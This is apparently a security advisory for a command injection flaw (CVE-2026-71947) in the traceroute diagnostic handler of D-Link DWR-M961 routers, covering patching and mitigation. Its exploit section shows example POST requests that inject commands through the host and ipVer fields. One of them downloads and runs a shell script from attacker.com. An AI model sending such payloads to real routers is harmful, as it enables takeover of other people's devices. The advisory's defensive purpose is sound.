SECURITYCRITICALCVE-2026-71947

D-Link DWR-M961 Command Injection via Traceroute Diagnostic Interface

A command injection vulnerability in D-Link DWR-M961 routers (hardware C1) allows remote attackers to execute arbitrary OS commands via the host and ipVer...

Dylan H.

Security Team

August 9, 2026
5 min read
D-Link DWR-M961 Command Injection via Traceroute Diagnostic Interface

Critical severity

Rated critical. Prioritise patching — see the remediation guidance below.

Affected Products

  • D-Link DWR-M961 (Hardware C1, Firmware < 1.1.5_C1_202607071108)

Executive Summary

A command injection vulnerability has been identified in D-Link DWR-M961 LTE routers running hardware version C1 with firmware prior to 1.1.5_C1_202607071108. The flaw resides in the /boafrm/formTracerouteDiagnosticRun interface and allows a remote attacker to inject arbitrary OS commands via the host and ipVer fields, achieving unauthenticated remote code execution on the device.

CVE ID: CVE-2026-71947

This is the fourth in a series of command injection vulnerabilities (CVE-2026-71944 through CVE-2026-71947) identified across the DWR-M961's management interfaces, all addressed in the same firmware patch.


Vulnerability Overview

The DWR-M961 exposes a traceroute diagnostic utility through its web management interface. The formTracerouteDiagnosticRun handler accepts a target host (host) and IP version selector (ipVer) as POST parameters and constructs an OS-level traceroute command from these inputs. Neither parameter is sanitized for shell metacharacters, creating two separate injection points within the same handler.

AttributeValue
CVE IDCVE-2026-71947
Vulnerability TypeCommand Injection (OS Command Injection)
Attack VectorNetwork
AuthenticationNone required (remote, unauthenticated)
Interface/boafrm/formTracerouteDiagnosticRun
Vulnerable Parametershost, ipVer
Affected HardwareDWR-M961 Hardware Version C1
Affected Firmware< 1.1.5_C1_202607071108
Fixed Firmware1.1.5_C1_202607071108

Technical Details

Root Cause

The traceroute handler constructs a system command using unsanitized user input from both the host and ipVer fields. The ipVer parameter (expected to accept values like 4 or 6 to select IPv4/IPv6 mode) is particularly notable as a secondary injection point — even fields that appear to accept only numeric or limited values can become injection vectors when not validated.

The underlying command construction likely resembles:

snprintf(cmd, sizeof(cmd), "traceroute -%s %s", ipVer, host);
system(cmd);

Both ipVer and host flow directly into this command string without sanitization.

Exploit Pattern

Via host parameter:

POST /boafrm/formTracerouteDiagnosticRun HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
 
host=8.8.8.8;id;&ipVer=4

Via ipVer parameter:

POST /boafrm/formTracerouteDiagnosticRun HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
 
host=8.8.8.8&ipVer=4;wget http://attacker.com/shell -O /tmp/sh;sh /tmp/sh;

The dual injection points in a single handler make this vulnerability slightly more complex than its sibling CVEs — both parameters must be considered when building detection signatures or WAF rules.


Affected Products

ProductHardware VersionVulnerable FirmwareFixed Firmware
D-Link DWR-M961C1< 1.1.5_C1_2026070711081.1.5_C1_202607071108

The DWR-M961 Vulnerability Cluster

CVE-2026-71947 is the fourth vulnerability in a cluster of command injection flaws identified across the DWR-M961's web management handlers:

CVEInterfaceVulnerable Parameter(s)Injection Type
CVE-2026-71944/boafrm/formLtefotaUpgradeQuectelfota_urlSingle parameter
CVE-2026-71945/boafrm/formLtefotaUpgradeFibocomfota_urlSingle parameter
CVE-2026-71946/boafrm/formPingDiagnosticRunhostSingle parameter
CVE-2026-71947/boafrm/formTracerouteDiagnosticRunhost, ipVerDual parameter

The pattern across all four CVEs points to a systemic absence of input validation in the BoA-based web server implementation. Every handler that passes user input to a shell command appears to have been implemented without sanitization — suggesting this is a codebase-wide issue rather than isolated oversights.

D-Link shares firmware code across product families. Other devices using the same BoA-based management framework with similar diagnostic handlers may be affected by equivalent vulnerabilities. Administrators of other D-Link LTE routers should check for available firmware updates and audit exposed management interfaces.


Remediation

Immediate Action

Update firmware to version 1.1.5_C1_202607071108 or later.

  1. Access the router's web administration interface
  2. Navigate to Maintenance → Firmware Update
  3. Apply the latest firmware update and reboot
  4. Verify the updated firmware version is displayed

Mitigations If Patching Is Delayed

  • Disable web management access from the WAN interface — this is the highest-priority mitigation
  • Restrict LAN-side access to the management interface to trusted hosts only
  • Deploy a network-level WAF or IPS rule blocking POST requests to /boafrm/form* paths with shell metacharacters (; | & $ ( ))
  • Rotate all router credentials in case of prior compromise
  • Monitor for unauthorized firmware modifications — compare running firmware hash against D-Link's published checksums

Broader Context: Consumer Router Security

The DWR-M961 vulnerability cluster reflects broader challenges in consumer router security:

  • Diagnostic interfaces are trusted by design — features like ping and traceroute are expected to interact with the OS, making secure implementation critical but often overlooked
  • Firmware update cycles are slow — many embedded devices remain on vulnerable firmware versions for months or years after patches are released
  • Management interfaces are frequently internet-exposed — particularly in ISP-managed deployments where remote management is enabled by default
  • Embedded Linux security practices lag — the continued prevalence of system() calls with unsanitized input demonstrates that secure coding practices from the application layer have not fully reached embedded firmware development

References